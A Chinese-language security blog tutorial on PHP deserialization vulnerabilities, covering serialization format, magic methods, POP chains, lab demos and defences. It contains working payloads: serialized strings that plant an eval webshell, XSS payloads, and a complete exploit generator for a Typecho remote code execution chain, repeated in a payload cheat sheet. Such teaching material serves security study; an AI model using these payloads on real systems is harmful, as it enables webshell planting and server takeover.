反序列化漏洞

1754 字
9 分钟
反序列化漏洞

一、面向对象基础#

1.1 面向对象思想#

万物皆对象,任何事物都可以看作对象。面向对象的思想是用对象来解决问题。

对比面向过程面向对象
小餐馆夫妻作坊,什么都自己做—
大餐馆—餐饮公司,分工明确(厨师、服务员、收银员)

1.2 三大特性#

  • 封装:隐藏内部实现细节
  • 继承:子类继承父类属性和方法
  • 多态:同一方法在不同对象上有不同表现

二、序列化与反序列化概念#

2.1 什么是序列化/反序列化?#

概念说明
序列化将数据结构或对象转换成二进制串(或可传输格式)的过程
反序列化将二进制串转换回数据结构或对象的过程

通俗理解:

  • 序列化 = 存档(将游戏进度保存到文件)
  • 反序列化 = 读档(从文件恢复游戏进度)

2.2 使用场景#

场景说明
存储将对象从内存保存到硬盘(Session、缓存)
传输跨语言/跨系统传输数据(如 API 传递对象)
进程通信进程间/线程间传输二进制流

2.3 序列化格式#

对象 → 序列化 → 中间格式(文本/JSON/XML/二进制)→ 反序列化 → 对象

三、PHP 序列化基础#

3.1 序列化语法#

<?php
class Student {
public $name = "jack";
public $age = 18;
public $address = "beijing";
}
$student = new Student();
$str = serialize($student);
echo $str;
?>

输出:

O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}

3.2 序列化格式详解#

O:7:"Student":3:{...}
│ │ │ │
│ │ │ └── 属性数量
│ │ └── 类名
│ └── 类名长度
└── 对象类型(Object)

属性格式:

s:4:"name";s:4:"jack";
│ │ │ │ │ │
│ │ │ │ │ └── 属性值
│ │ │ │ └── 属性值类型(s=字符串)
│ │ │ └── 属性值长度
│ │ └── 属性名
│ └── 属性名长度
└── 数据类型(s=字符串)

类型标识符:

标识类型
sString
iInteger
bBoolean
aArray
OObject
NNULL
dDouble

3.3 反序列化#

<?php
$str = 'O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}';
$obj = unserialize($str);
var_dump($obj);
echo $obj->name; // jack
?>

四、PHP 魔术方法(关键)#

💡 这些魔术方法在特定操作时自动调用,是反序列化漏洞的核心入口。

魔术方法触发时机
__construct()类实例化时自动调用
__destruct()对象销毁时自动调用
__sleep()序列化(serialize())时自动调用
__wakeup()反序列化(unserialize())时自动调用
__toString()对象被当作字符串使用时调用(如 echo、字符串拼接)
__invoke()对象被当作函数调用时触发
__call()调用不存在或不可访问的方法时触发
__get()访问不存在或不可访问的属性时触发
__set()设置不存在或不可访问的属性时触发
__isset()对不存在或不可访问属性调用 isset() 时触发
__unset()对不存在或不可访问属性调用 unset() 时触发
__clone()克隆对象时自动调用

4.1 __sleep() 和 __wakeup()#

<?php
class People {
public $name;
public $age;
public $address;
public function __construct($name, $age, $address) {
$this->name = $name;
$this->age = $age;
$this->address = $address;
}
// 序列化时自动调用,指定需要序列化的属性
public function __sleep() {
return array("name", "age"); // 只序列化 name 和 age
}
// 反序列化时自动调用,可修改属性值
public function __wakeup() {
$this->address = "BeiJing"; // 反序列化后重新赋值
}
}
?>

五、反序列化漏洞原理#

5.1 核心原理#

用户可控的输入被传入 unserialize(),攻击者构造恶意序列化数据,触发魔术方法中的危险操作(如 eval、文件操作、命令执行等)。

5.2 Demo 1:存储文件可控 → XSS#

Dog.php
<?php
class Dog {
public $name = "labuladuo";
}
// 写入序列化数据到文件
$dog = new Dog();
file_put_contents("dog.txt", serialize($dog));
// 读取并反序列化
$data = file_get_contents("dog.txt");
print_r(unserialize($data));
?>

攻击: 修改 dog.txt 内容

O:3:"Dog":1:{s:4:"name";s:26:"<script>alert(1);</script>";}

→ 反序列化时输出 XSS 代码 → 触发弹窗

5.3 Demo 2:参数可控 → __wakeup() 触发 XSS#

<?php
class Cat {
public $name = "波斯猫";
public function __wakeup() {
echo "开始加载存档......";
echo $this->name;
echo "加载存档完成......";
}
}
$data = $_REQUEST['data'];
unserialize($data);
?>

Payload:

O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}

5.4 Demo 3:__wakeup() 执行任意代码#

<?php
class Cat {
public $name = "波斯猫";
public function __wakeup() {
eval($this->name);
}
}
$data = $_REQUEST['data'];
unserialize($data);
?>

Payload 1(执行 phpinfo):

O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}

Payload 2(写 Webshell):

O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}

5.5 Demo 4:Pikachu 靶场#

<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
if(isset($_POST['o'])){
$s = $_POST['o'];
$unser = unserialize($s);
echo $unser->test;
}
?>

Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('gxa')</script>";}

5.6 Demo 5:CTF 靶场(利用 __toString 读取文件)#

<?php
class Readme{
public $source;
public function __toString() {
return highlight_file('Readme.txt', true) . highlight_file($this->source, true);
}
}
// 判断逻辑:从 Cookie 读取序列化数据并反序列化
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) == $h){
$todos = unserialize($m);
}
}
?>

Payload 构造:

<?php
class Readme{
public $source = 'flag.php';
public function __toString() {
return highlight_file($this->source, true);
}
}
$todos[] = new Readme();
$m = serialize($todos);
$h = md5($m);
echo $h . urlencode($m);
?>

5.7 Demo 6:复杂 POP 链(魔术方法链)#

利用多个魔术方法串联形成调用链:

__destruct() → __toString() → __call() → __clone() → __isset() → __invoke() → 读取 flag

POP 链追踪:

Start::__destruct()
→ 将 $this->name 视为对象 → 触发 Sec::__toString()
→ Sec::$this->obj->check() → 触发 Easy::__call()
→ $this->cla = clone $var[0] → 触发 eeee::__clone()
→ isset($this->obj->cmd) → 触发 Start::__isset()
→ $func = $this->func; $func() → 触发 Sec::__invoke()
→ file_get_contents('/flag')

六、POP 链(Property-Oriented Programming)#

POP 链(面向属性编程)是指从现有运行环境中寻找一系列代码/方法调用,构成一组连续的调用链,从而实现攻击目的。

概念类比:

概念说明
ROP(Return-Oriented Programming)二进制漏洞利用中的返回导向编程
POP(Property-Oriented Programming)反序列化漏洞中的属性导向编程(利用魔术方法串联)

七、Typecho 反序列化漏洞分析(实战案例)#

7.1 漏洞入口#

URL: http://www.typecho.com/install.php?finish=
请求头: Referer: http://www.typecho.com
请求体: __typecho_config=1111

7.2 POP 链#

install.php(finish 参数)
↓
Typecho_Cookie::get('__typecho_config')
↓
Typecho_Db::__construct($adapterName, $prefix)
↓(adapterName 指向 Typecho_Feed 对象)
Typecho_Feed::__toString()
↓($this->item['author']->screenName)
Typecho_Request::__get('screenName')
↓
Typecho_Request::get('screenName')
↓
Typecho_Request::_applyFilter($value)
↓(_filter = array('assert'))
assert('file_put_contents(...)') → RCE

7.3 Payload 构造#

<?php
class Typecho_Request {
private $_params = array(
'screenName' => 'die(file_put_contents("3.php", "<?php eval(\$_REQUEST[6]); ?>"))'
);
private $_filter = array('assert');
}
class Typecho_Feed {
private $_type = 'ATOM';
private $_items = array(
array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request()
)
);
}
$request = new Typecho_Request();
$feed = new Typecho_Feed();
$config = array(
'adapter' => $feed,
'prefix' => ''
);
$payload = base64_encode(serialize($config));
echo $payload;
?>

八、常见反序列化漏洞(Java 生态)#

漏洞说明
Log4j2核弹级漏洞(JNDI 注入)
FastJSON反序列化漏洞
WebLogic反序列化漏洞
ShiroRememberMe 反序列化漏洞

九、反序列化漏洞防御#

措施说明
严格校验对传入 unserialize() 的数据进行严格校验
白名单只允许反序列化特定的类
禁用危险函数如 eval()、assert()、system() 等
使用安全替代方案如 JSON 序列化(json_encode/json_decode)
签名验证对序列化数据添加签名,防止篡改

📌 快速参考卡片#

序列化格式#

O:类名长度:"类名":属性数:{属性1;属性2;...}
s:长度:"值"; i:数字; b:布尔; a:数组; N:NULL

常见 POP 链入口#

__destruct() // 对象销毁 → 最常用的入口
__wakeup() // 反序列化时自动触发
__toString() // 对象被当字符串使用

漏洞审计要点#

  1. 搜索 unserialize(
  2. 追踪参数来源(GET/POST/COOKIE/文件)
  3. 查找可利用的魔术方法
  4. 构建 POP 链

常用 Payload#

// 执行 phpinfo
O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}
// 写 Webshell
O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}
// XSS
O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

反序列化漏洞
https://blog.emberlag.com/posts/deserialization-vulnerability/
作者
3mb3rl4g
发布于
2026-09-27
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录